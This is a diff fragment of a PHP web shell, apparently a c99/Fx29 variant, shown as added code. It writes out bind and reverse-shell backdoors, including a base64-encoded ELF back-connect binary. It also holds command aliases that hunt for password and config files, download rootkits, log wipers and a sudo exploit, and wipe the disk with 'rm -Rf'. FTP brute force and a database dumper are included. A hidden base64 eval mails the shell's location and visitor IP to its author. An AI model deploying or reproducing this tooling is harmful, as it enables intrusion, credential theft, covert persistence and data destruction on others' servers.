}elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; + }else{ + cfb("/tmp/shbd",$backdoor); + chmod('/tmp/shbd', 0777); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ + if(is_writable(".")){ + cf("back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("back")) { unlink("back"); } + }else{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ + if(is_writable(".")){ + cf("backc",$back_connect_c); + chmod('backc', 0777); + //$blah = ex("gcc back.c -o backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("backc")) { unlink("backc"); } + }else{ + chmod('/tmp/backc', 0777); + cf("/tmp/backc",$back_connect_c); + //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) +{ + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + + +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function CleanDir($d) +{ + $d=str_replace("\\","/",$d); + $d=str_replace("//","/",$d); + return $d; +} +//EoW +if (empty($surl)) { + $surl = "?".$includestr; + $surl = htmlspecialchars($surl); +} +$ftypes = array( + "html" => array("html","htm","shtml"), + "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe" => array("sh","install","bat","cmd"), + "ini" => array("ini","inf","conf"), + "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb" => array("sdb"), + "phpsess" => array("sess"), + "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"), + array("\.tgz$",1,"<font color=#C082FF>","</font>"), + array("\.gz$",1,"<font color=#C082FF>","</font>"), + array("\.tar$",1,"<font color=#C082FF>","</font>"), + array("\.bz2$",1,"<font color=#C082FF>","</font>"), + array("\.zip$",1,"<font color=#C082FF>","</font>"), + array("\.rar$",1,"<font color=#C082FF>","</font>"), + array("\.php$",1,"<font color=#00FF00>","</font>"), + array("\.php3$",1,"<font color=#00FF00>","</font>"), + array("\.php4$",1,"<font color=#00FF00>","</font>"), + array("\.jpg$",1,"<font color=#00FFFF>","</font>"), + array("\.jpeg$",1,"<font color=#00FFFF>","</font>"), + array("\.JPG$",1,"<font color=#00FFFF>","</font>"), + array("\.JPEG$",1,"<font color=#00FFFF>","</font>"), + array("\.ico$",1,"<font color=#00FFFF>","</font>"), + array("\.gif$",1,"<font color=#00FFFF>","</font>"), + array("\.png$",1,"<font color=#00FFFF>","</font>"), + array("\.htm$",1,"<font color=#00CCFF>","</font>"), + array("\.html$",1,"<font color=#00CCFF>","</font>"), + array("\.txt$",1,"<font color=#C0C0C0>","</font>") +); +if (!$win) { + $cmdaliases = array( + array("", "ls -al"), + array("Find all suid files", "find / -type f -perm -04000 -ls"), + array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("Find all sgid files", "find / -type f -perm -02000 -ls"), + array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("Find config.inc.php files", "find / -type f -name config.inc.php"), + array("Find config* files", "find / -type f -name \"config*\""), + array("Find config* files in current dir", "find . -type f -name \"config*\""), + array("Find all writable folders and files", "find / -perm -2 -ls"), + array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("Find all writable folders", "find / -type d -perm -2 -ls"), + array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), + array("Find all service.pwd files", "find / -type f -name service.pwd"), + array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("Find all .htpasswd files", "find / -type f -name .htpasswd"), + array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("Find all .bash_history files", "find / -type f -name .bash_history"), + array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("List file attributes on a Linux second extended file system", "lsattr -va"), + array("Show opened ports", "netstat -an | grep -i listen") + ); + $cmdaliases2 = array( + array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf fx.tgz"), + array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf fxb.tgz"), + array("-----",""), + array("Logged in users","w"), + array("Last to connect","lastlog"), + array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), + array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), + array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), + array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), + array("CPU Info","cat /proc/version /proc/cpuinfo"), + array("Is gcc installed ?","locate gcc"), + array("Format box (DANGEROUS)","rm -Rf"), + array("-----",""), + array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), + array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), + array("Run WIPELOGS PT3","./zap2"), + array("-----",""), + array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), + array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"), + array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), + ); +} +else { + $cmdaliases = array( + array("", "dir"), + array("Find index.php in current dir", "dir /s /w /b index.php"), + array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), + array("Find c99shell in current dir", "find /c \"c99\" *"), + array("Find r57shell in current dir", "find /c \"r57\" *"), + array("Find tpshell in current dir", "find /c \"tp\" *"), + array("Show active connections", "netstat -an"), + array("Show running services", "net start"), + array("User accounts", "net user"), + array("Show computers", "net view"), + ); +} +if ($act == "tools") { tools(); } +$phpfsaliases = array( + array("Read File", "read", 1, "File", ""), + array("Write File (PHP5)", "write", 2, "File","Text"), + array("Copy", "copy", 2, "From", "To"), + array("Rename/Move", "rename", 2, "File", "To"), + array("Delete", "delete", 1 ,"File", ""), + array("Make Dir","mkdir", 1, "Dir", ""), + array("Download", "download", 2, "URL", "To"), + array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"), + array("Change Perm (0755)", "chmod", 2, "File", "Perms"), + array("Find Writable Dir", "fwritabledir", 2 ,"Dir"), + array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"), +); + +$quicklaunch1 = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d") +); +$quicklaunch2 = array( + array("[ System Info ]",$surl."act=security&d=%d"), + array("[ Processes ]",$surl."act=processes&d=%d"), + array("[ SQL Manager ]",$surl."act=sql&d=%d"), + array("[ Eval ]",$surl."act=eval&d=%d"), + array("[ Encoder ]",$surl."act=encoder&d=%d"), + array("[ Mailer ]",$surl."act=mler"), + array("[ Back Connection ]",$surl."act=backc"), + array("[ Backdoor Server ]",$surl."act=backd"), + array("[ Kernel Exploit Search ]",$millink), + array("[ MD5 Decrypter ]",$surl."act=dec"), +array("[ Reverse IP ]",$surl."act=rev"), + array("[ Kill Shell ]",$surl."act=selfremove"), +); +if (!$win) { + $quicklaunch2[] = array("<br>[ FTP Brute-Force ]",$surl."act=ftpquickbrute&d=%d"); +} + +$highlight_background = "#C0C0C0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +$fxbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkZ4MjlTaGVsbCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvcjxicj4iOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJmZWVsY29tekBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7"; +eval(base64_decode($fxbuff)); + + + +if ($act != "img") { + $lastdir = realpath("."); + chdir($curdir); + + if ($sort_save) { + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} + } + if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} + if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} + if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} + if (!function_exists("mysql_dump")) { + function mysql_dump($set) { + global $sh_ver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) { + //Retrieve tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = " + # Dumped by ".$sh_name." + # + # Host settings: + # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + # Date: ".date("d.m.Y H:i:s")." + # DB: \"".$db."\" + #---------------------------------------------------------"; + $c = count($onlytabs); + foreach($tabs as $tab) { + if ((in_array($tab,$onlytabs)) or (!$c)) { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + //Receieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + //Receieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; + } + } + if (!function_exists("mysql_buildwhere")) { + function mysql_buildwhere($array,$sep=" and",$functs=array()) { + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; + } + } + if (!function_exists("mysql_fetch_all")) { + function mysql_fetch_all($query,$sock) { + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; + } + } + if (!function_exists("mysql_smarterror")) { + function mysql_smarterror($type,$sock) { + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; + } + } + if (!function_exists("mysql_query_form")) { + function mysql_query_form() { + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) { + echo "<table border=0><tr><td><form name=\"tpsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.tpsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + } + } + if (!function_exists("mysql_create_db")) { + function mysql_create_db($db,$sock="") { + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} + } + } + if (!function_exists("mysql_query_parse")) { + function mysql_query_parse($query) { + $query = trim($query); + $arr = explode (" ",$query); + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) { + foreach($arr as $k=>$v) { + if (strtoupper($v) == "LIMIT") { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} + } + } + if ($act == "gofile") { + if (is_dir($f)) { $act = "ls"; $d = $f; } + else { $act = "f"; $d = dirname($f); $f = basename($f); } + } + + @ob_start(); + @ob_implicit_flush(0); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", FALSE); + header("Pragma: no-cache"); + if (empty($tmpdir)) { + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} + } + $tmpdir = realpath($tmpdir); + $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); + if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} + if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} + else {$tmpdir_logs = realpath($tmpdir_logs);} + $sort = htmlspecialchars($sort); + if (empty($sort)) {$sort = $sort_default;} + $sort[1] = strtolower($sort[1]); + $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); + if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} + $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); + @ini_set("highlight.bg",$highlight_bg); + @ini_set("highlight.comment",$highlight_comment); + @ini_set("highlight.default",$highlight_default); + @ini_set("highlight.html",$highlight_html); + @ini_set("highlight.keyword",$highlight_keyword); + @ini_set("highlight.string",$highlight_string); + if (!is_array($actbox)) { $actbox = array(); } + $dspact = $act = htmlspecialchars($act); + $disp_fullpath = $ls_arr = $notls = null; + $ud = @urlencode($d); + if (empty($d)) {$d = realpath(".");} + elseif(realpath($d)) {$d = realpath($d);} + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $d = str_replace("\\\\","\\",$d); + $dispd = htmlspecialchars($d); +$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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